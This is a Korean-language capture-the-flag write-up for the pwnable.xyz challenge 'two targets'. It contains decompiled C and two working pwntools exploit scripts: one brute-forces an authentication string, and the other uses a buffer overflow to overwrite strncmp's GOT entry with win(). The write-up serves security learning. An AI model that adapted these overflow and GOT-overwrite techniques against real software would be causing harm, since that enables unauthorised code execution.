[pwnable.xyz]two targets

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  int v4; // eax
  char s; // [rsp+10h] [rbp-40h]
  __int64 v6; // [rsp+30h] [rbp-20h]
  char *v7; // [rsp+40h] [rbp-10h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup();
  v3 = 0LL;
  memset(&s, 0, 56uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v4 = read_int32();
      if ( v4 != 2 )
        break;
      printf("nationality: ", v3);
      v3 = &v6;
      __isoc99_scanf("%24s", &v6);
    }
    if ( v4 > 2 )
    {
      if ( v4 == 3 )
      {
        printf("age: ", v3);
        v3 = v7;
        __isoc99_scanf("%d", v7);
      }
      else if ( v4 == 4 )
      {
        if ( auth(&s) )
          win();
      }
      else
      {
LABEL_14:
        puts("Invalid");
      }
    }
    else
    {
      if ( v4 != 1 )
        goto LABEL_14;
      printf("name: ", v3);
      v3 = &s;
      __isoc99_scanf("%32s", &s);
    }
  }
}

auth() 함수로 win() 함수 실행시키면 된다.

_BOOL8 __fastcall auth(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-38h]
  char s1[8]; // [rsp+20h] [rbp-30h]
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *s1 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; i <= 31; ++i )
    s1[i] = ((*(a1 + i) >> 4) | 16 * *(a1 + i)) ^ *(main + i);
  return strncmp(s1, &s2, 0x20uLL) == 0;
}

그냥 s1, s2 비교해서 win() 실행시켜주는데 a1값을 알아야된다. a1으로 오는 인자는 1번 메뉴에서 입력할 때의 값이다.

디컴파일하면 이렇게 되는데 16 * *(a1 + i) 최적화되서 그런거같다. 어셈으로 보면 *(a1 + i) << 4 이거다.

넘 쉬워서 말할거 없다. 그냥 Brute Force로 값 찾았다.

exploit.py

from pwn import *

sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)

def change_name(name):
	sla('>','1')
	sa(':',name)

def change_national(nation):
	sla('>','2')
	sa(':',nation)

def change_age(age):
	sla('>','3')
	sla(':',str(age))


if __name__ == '__main__':
	#context.log_level = 'debug'
	e = ELF('./challenge')
	#p = process('./challenge')
	p = remote('svc.pwnable.xyz',30031)

	s2 = [0x11, 0xDE, 0xCF, 0x10, 0xDF, 0x75, 0xBB, 0xA5, 0x43, 0x1E, 0x9D, 0xC2, 0xE3, 0xBF, 0xF5, 0xD6, 0x96, 0x7F, 0xBE, 0xB0, 0xBF, 0xB7, 0x96, 0x1D, 0xA8, 0xBB, 0x0A, 0xD9, 0xBF, 0xC9, 0x0D, 0xFF, 0x00]
	main_opcode = [85, 72, 137, 229, 72, 131, 236, 80, 100, 72, 139, 4, 37, 40, 0, 0, 0, 72, 137, 69, 248, 49, 192, 232, 36, 254, 255, 255, 72, 141, 69, 192]
	flag = ''
	for i in range(32):
		for j in range(256):
			if ((((j >> 4) | (j << 4)) ^ main_opcode[i]) & 0xff) == s2[i]:
				flag += chr(j)
				break
	log.info('check : ' + flag)
	change_name(flag)
	sla('>','4')

	p.interactive()


또 다른 풀이 방법이 있다.

nation 입력할 때 v6 에서 값을 24까지 입력할 수있는데 v7하고 차이가 18인데 8바이트만큼 더 쓸 수 있어서 v7을 덮을 수 있다.

auth 함수에서 strncmp@got의 주소를 v7에 쓰고 이 got를 age에서 strncmp를 win 으로 덮으면 auth 함수 실행할 때 마다 win 함수가 호출 될 것이다.

exploit.py

from pwn import *

sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)

def change_name(name):
	sla('>','1')
	sa(':',name)

def change_national(nation):
	sla('>','2')
	sa(':',nation)

def change_age(age):
	sla('>','3')
	sla(':',str(age))

if __name__ == '__main__':
	#context.log_level = 'debug'
	e = ELF('./challenge')
	#p = process('./challenge')
	p = remote('svc.pwnable.xyz',30031)

	change_national('A'*16 + p64(e.got['strncmp']))
	change_age(str(e.symbols['win']))
	sla('>','4')
	p.interactive()